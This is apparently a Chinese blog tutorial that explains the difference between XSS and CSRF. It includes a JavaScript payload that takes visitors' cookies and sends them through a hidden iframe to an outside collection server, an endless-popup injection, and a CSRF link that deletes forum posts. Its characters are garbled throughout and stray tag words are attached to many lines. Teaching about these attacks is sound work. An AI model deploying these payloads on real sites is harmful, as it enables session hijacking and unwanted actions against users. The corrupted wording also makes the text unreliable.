这两个关键词也是老生常谈了,可是还老是容易让人忘记与搞混~。
XSS与CSRF这两个关键词时常被拉出来一块儿比较(尤为是面试),我在这里也在写一篇扫盲文,也帮本身整理一下知识脉络。javascript
这篇文章会用尽可能“人话”的语言解释这二个关键词,让同窗们对跨域,安全有更深一层次的了解。php
国际惯例,先上一下维基百科:java
XSS:跨站脚本(Cross-site scripting,一般简称为XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它容许恶意用户将代码注入到网页上,其余用户在观看网页时就会受到影响。这类攻击一般包含了HTML以及用户端脚本语言。
I
CSRF:跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,一般缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登陆的Web应用程序上执行非本意的操做的攻击方法。面试
维基的解释依旧高深莫测啊,我用 “人话”给你们解释一下吧。数据库
XSS: 经过客户端脚本语言(最多见如:JavaScript)
在一个论坛发帖中发布一段恶意的JavaScript代码就是脚本注入,若是这个代码内容有请求外部服务器,那么就叫作XSS!segmentfault
CSRF:又称XSRF,冒充用户发起请求(在用户不知情的状况下),完成一些违背用户意愿的请求(如恶意发帖,删帖,改密码,发邮件等)。跨域
不少同窗会搞不明白XSS与CSRF的区别,虽然这两个关键词时常抱团出现,但他们两个是不一样维度的东西(或者说他们的目的是不同的)。
XSS更偏向于方法论,CSRF更偏向于一种形式,只要是伪造用户发起的请求,均可成为CSRF攻击。安全
一般来讲CSRF是由XSS实现的,因此CSRF时常也被称为XSRF[用XSS的方式实现伪造请求](但实现的方式毫不止一种,还能够直接经过命令行模式(命令行敲命令来发起请求)直接伪造请求[只要经过合法验证便可])。
XSS更偏向于代码实现(即写一段拥有跨站请求功能的JavaScript脚本注入到一条帖子里,而后有用户访问了这个帖子,这就算是中了XSS攻击了),CSRF更偏向于一个攻击结果,只要发起了冒牌请求那么就算是CSRF了。服务器
简单来讲,条条大路(XSS路,命令行路)通罗马(CSRF马,XSRF马)。cookie
前面讲了那么多理论介绍,那么咱们来看一看实际代码吧。
【 Talk is cheap,Show me the code 】
场景:我在一条帖子里面写下了以下代码,发了出去,而后陆陆续续有不少可爱(wu / zhi) 的用户访问到这个帖子,而后用户接下来的全部操做都由我这串代码掌控了(各类姿式混着玩~)
以下:
while(true){ alert('你关不掉我'); }
这个就是最原始的脚本注入了。
用户进来就麻烦了,一直弹窗一直弹窗。
那么XSS(跨站脚本)就是照瓢画葫了,用JavaScript写一个请求跨站的脚本就是XSS了,以下:
// 用 <script type="text/javascript"></script> 包起来放在评论中 (function(window, document) { // 构造泄露信息用的 URL var cookies = document.cookie; var xssURIBase = "http://192.168.123.123/myxss/"; var xssURI = xssURIBase + window.encodeURI(cookies); // 创建隐藏 iframe 用于通信 var hideFrame = document.createElement("iframe"); hideFrame.height = 0; hideFrame.width = 0; hideFrame.style.display = "none"; hideFrame.src = xssURI; // 开工 document.body.appendChild(hideFrame); })(window, document);
此段代码携带着cookie信息传输给了 http://192.168.123.123/myxss/... 这段服务器,而后服务器的代码就能够接收到了用户的隐私消息,继而继续作其余的业务处理(myxss/index.php 中写一些可怕的代码,如把用户信息存进本身的数据库)。
有没感受到背后一寒
看到这里感受到危险了吧(想一想初学程序时咱们的站点彻底没有这个意识,活生生的是在裸奔),=
既然此段脚本注入能携带着用户信息到收集服务器,那么再研究研究,他天然能发邮件?发帖?一系列业务逻辑? ~~固然能够!。
这里tips一下:上面的代码仅仅是XSS,并无发生CSRF,由于192.168.123.123/myxss/index.php 仅仅是把用户信息存起来了而已,他并无“伪造”用户发起一些请求,因此他只算是XSS攻击而不算是CSRF攻击,若是192.168.123.123/myxss/index.php 写的代码是 将当前用户的昵称改成“我是大笨猪”,那么就算是CSRF攻击了,由于这段代码伪造用户发出了请求(可是用户却不自知)。
那么下面我介绍一下最最简单的CSRF攻击(没有用到XSS的哦):
一个论坛,通过个人屡次抓包分析(着重分析请求返回头,请求返回体)了解到这个论坛的删帖操做是触发 csdnblog.com/bbs/delete_article.php?id=“X" 那么,我只须要在论坛中发一帖,包含一连接:www.csdnblog.com/bbs/delete_article.php?id=“X" ,只要有用户点击了这个连接,那么ID为X的这一篇文章就被删掉了,并且是用户彻底不知情的状况(敲黑板状:此处我可没有写XSS脚本哦,我纯粹是发一个url地址出来而已,既然删除操做能够伪造,那么只要我细细分析,其余操做(发帖,更名字,发私信,只要是这个论坛具备的功能)我均可以伪造咯!
XSS与CSRF讲完了,回头我会讲下如何防范XSS与CSRF。
今天国庆日,6天后国足将在西安迎战叙利亚,此打败负十分关键!祝好运!国足队员加油!
参考文章:
https://segmentfault.com/a/11... 《 总结 XSS 与 CSRF 两种跨站攻击 》
http://www.lxway.com/48228121... 《CSRF CORS》
学习/(“抄”) 了很多文章(主要是demo代码不想重复写了),侵删。